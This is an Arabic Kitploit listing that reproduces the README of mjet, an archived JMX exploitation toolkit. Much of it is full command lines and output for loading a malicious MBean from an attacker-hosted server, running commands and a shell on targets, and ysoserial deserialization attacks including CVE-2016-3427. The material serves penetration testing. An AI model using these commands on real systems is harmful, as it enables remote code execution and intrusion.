Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mogwailabs/mjet
توليد الحمولةالاستغلالما بعد الاستغلالاختبار الاختراقالفريق الأحمرأداة الوصول عن بعدArchived
GitHubmogwailabs/mjet

mjet

مجموعة أدوات استغلال JMX من MOGWAI LABS

عرض المستودع
20547منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

MJET by MOGWAI LABS

MOGWAI LABS JMX Exploitation Toolkit

MJET هو تفرّع من sjet، الذي طوّرته شركة siberas ولكن لم يعد يُصان بنشاط. يتم صيانة MJET بواسطة فريق MOGWAI LABS الذي قدّم أيضًا معظم الشيفرة الأصلية لـ sjet.

يتيح MJET استغلالاً سهلاً لخدمات JMX غير الآمنة التكوين. يمكن العثور على معلومات أساسية إضافية هنا وهنا.

!!! مهم: لم يعد هذا المشروع قيد الصيانة

هذا المستودع لم يعد قيد الصيانة النشطة. ننصح باستخدام qtcs beanshooter بدلاً منه.

المتطلبات الأساسية

  • Jython 2.7
  • Ysoserial (لاستغلال ثغرات إلغاء التسلسل عبر JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (لدعم بروتوكول رسائل JMX البديل (JMXMP))

الاستخدام

ينفّذ MJET واجهة سطر أوامر (باستخدام argparse):

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

حيث

  • targetHost - عنوان IP للهدف
  • targetPort - منفذ الهدف حيث تعمل JMX
  • MODE - وضع السكربت
  • modeOptions - خيارات الوضع المحدد

دعم المصادقة (إذا تم تمكين مصادقة JMX):

  • --jmxrole - اسم المستخدم
  • --jmxpassword - كلمة المرور

وسائط اختيارية أخرى:

  • --jmxmp - استخدم JMX-MP (يتطلب تحميل JAR إضافية)
  • --localhost_bypass - منفذ الخدمة للوكيل في تجاوز localhost
  • --shell - استخدم الصدفة المعرّفة
  • --rmiObjectName - اسم RMI لنقطة نهاية JMX

الأوضاع وخياراتها

  • install - يثبّت الحمولة في الهدف الحالي
    • password - كلمة المرور التي يجب تعيينها بعد التثبيت الناجح
    • payload_url - عنوان URL الكامل لتحميل الحمولة
    • payload_port - منفذ تحميل الحمولة
  • uninstall - يزيل الحمولة من الهدف الحالي
  • changepw - يغيّر كلمة المرور على حمولة منشورة بالفعل
    • password - كلمة المرور للوصول إلى MBean المثبّت
    • newpass - كلمة المرور الجديدة
  • command - يشغّل الأمر CMD في targetHost
    • password - كلمة المرور للوصول إلى MBean المثبّت
    • CMD - الأمر المراد تشغيله
  • shell - يبدأ صدفة بسيطة في targetHost (مع قيود Runtime.exec() في جافا)
    • password - كلمة المرور للوصول إلى MBean المثبّت
  • javascript - يشغّل ملف جافاسكربت FILENAME في targetHost
    • password - كلمة المرور للوصول إلى MBean المثبّت
    • FILENAME - الجافاسكربت المراد تشغيله
  • deserialize - يرسل حمولة ysoserial إلى الهدف
    • gadget - gadget كما يوفره ysoserial، مثل CommonsCollections6
    • cmd - الأمر المراد تنفيذه
  • webserver - يشغّل خادم ويب MLET فقط
    • payload_url - عنوان URL الكامل لتحميل الحمولة
    • payload_port - منفذ تحميل الحمولة

أمثلة

تثبيت حمولة MBean على خدمة JMX قابلة للاستغلال

في المثال التالي، تعمل خدمة JMX القابلة للاستغلال على 10.165.188.23 المنفذ 2222، ولدى المهاجم عنوان IP 10.165.188.1. ستتصل خدمة JMX بخدمة الويب الخاصة بالمهاجم لتنزيل ملف الحمولة JAR. سيشغّل MJET خدمة الويب اللازمة على المنفذ 8000.

بعد التثبيت الناجح لـ MBean، يتم تغيير كلمة المرور الافتراضية إلى كلمة المرور التي تم توفيرها في سطر الأوامر ("super_secret").

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

التثبيت ببيانات اعتماد JMX (يتطلب أيضًا تكوينًا ضعيفًا للخادم):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

تشغيل الأمر 'ls -la' على هدف Linux:

بعد تثبيت الحمولة، يمكننا استخدامها لتنفيذ أوامر نظام التشغيل على الهدف.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

التشغيل في وضع الصدفة

إذا كنت لا تريد تحميل Java لكل أمر، يمكنك استخدام "وضع الصدفة" للحصول على صدفة أوامر محدودة.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

استدعاء حمولة JavaScript على هدف:

يعرض السكربت النموذجي "javaproperties.js" خصائص Java الخاصة بالخدمة القابلة للاستغلال. يمكن استدعاؤه على النحو التالي:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

تغيير كلمة المرور

غيّر كلمة المرور الحالية ("super_secret") إلى "this-is-the-new-password":

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

إزالة حمولة MBean من الهدف

أزل حمولة MBean 'MogwaiLabs' من الهدف:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

استغلال إلغاء تسلسل Java باستخدام ysoserial

استغل إلغاء تسلسل Java باستخدام ysoserial على الهدف: يجب أن يكون الملف ysoserial.jar موجودًا في دليل MJET. يمكنك تحديد أي حمولة ysoserial كما تشاء، على غرار استدعاءات ysoserial الأصلية.

يعمل هذا الهجوم حتى إذا تم تمكين مصادقة JMX وكان المستخدم يملك صلاحيات "للقراءة فقط".

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

استغلال CVE-2016-3427: مصادقة JMX مع إلغاء تسلسل Java

استغل CVE-2016-3427 باستخدام ysoserial: يجب أن يكون الملف ysoserial.jar موجودًا في دليل MJET/jar. يمكنك تحديد أي حمولة ysoserial كما تشاء، على غرار استدعاءات ysoserial الأصلية.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

المرجع: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

وضع خادم الويب فقط

من الممكن أيضًا تشغيل خادم الويب الذي يوفّر كود MLET وملف JAR مع حمولة MBean فقط

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

دعم بروتوكول رسائل JMX (JMXMP)

نزّل opendmk_jmxremote_optional_jar-1.0-b01-ea.jar وانقله إلى دليل jars. تحتاج إلى إضافة هذا الدليل إلى classpath عبر java -cp.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

تجاوز Localhost

يحدث أحيانًا أن يكشف سجل RMI عن RemoteObject لا يمكن الوصول إليه إلا على localhost (مثال @127.0.0.1:45401). ومع ذلك، يكون المنفذ مفتوحًا حيث يمكن الوصول إلى RemoteObject عبر الشبكة.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

لا يزال من الممكن استغلال هذه الخدمة باستخدام خيار --localhost_bypass <PORT>. في المثال التالي، نستخدم المنفذ 45401. سيؤدي هذا إلى بدء وكيل TCP على localhost وإعادة توجيه الحركة إلى targetHost على المنفذ المقدَّم.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

اسم كائن RMI مخصص

يحدث أحيانًا أن اسم كائن RMI لنقطة نهاية JMX ليس jmxrmi؛ في هذه الحالة يمكن استخدام المعلمة --rmiObjectName لتحديد اسم كائن RMI المناسب، على سبيل المثال --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

استخدام صدفة مخصصة

يحدث أحيانًا أن النظام الهدف لا يوفر صدفة /bin/bash أو cmd.exe. في هذه الحالة يمكن تحديد المعلمة الاختيارية --shell، على سبيل المثال --shell="bash -c". من خلال تنفيذ الجافاسكربت javaproperties.js باستخدام mjet.py، يتم تقديم مزيد من التفاصيل حول البيئة.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

المرجع: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

قم ببناء وتشغيل صورة docker

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

افتراضيًا، تعرّض صورة docker المنفذ 8000 لخادم HTTP. إذا كنت بحاجة إلى منفذ آخر، تذكّر أن تعرّضه!

المساهمة

لا تتردد في المساهمة.

المؤلفون

  • Hans-Martin Münch - الفكرة الأولية والعمل - h0ng10
  • Patricio Reller - واجهة سطر الأوامر وخيارات إضافية - preller
  • Ben Campbell - العديد من التحسينات - Meatballs1
  • Arnim Rupp - دعم المصادقة
  • Sebastian Kindler - دعم إلغاء التسلسل
  • Karsten Zeides - دعم بروتوكول رسائل JMX، تجاوز localhost zeides
  • g60ocR - ملف Docker g60ocR
  • Morn98 - اختيار الصدفة وRMI Morn98)

انظر أيضًا إلى قائمة المساهمين الذين شاركوا في هذا المشروع.

الترخيص

هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

تنزيل الأداة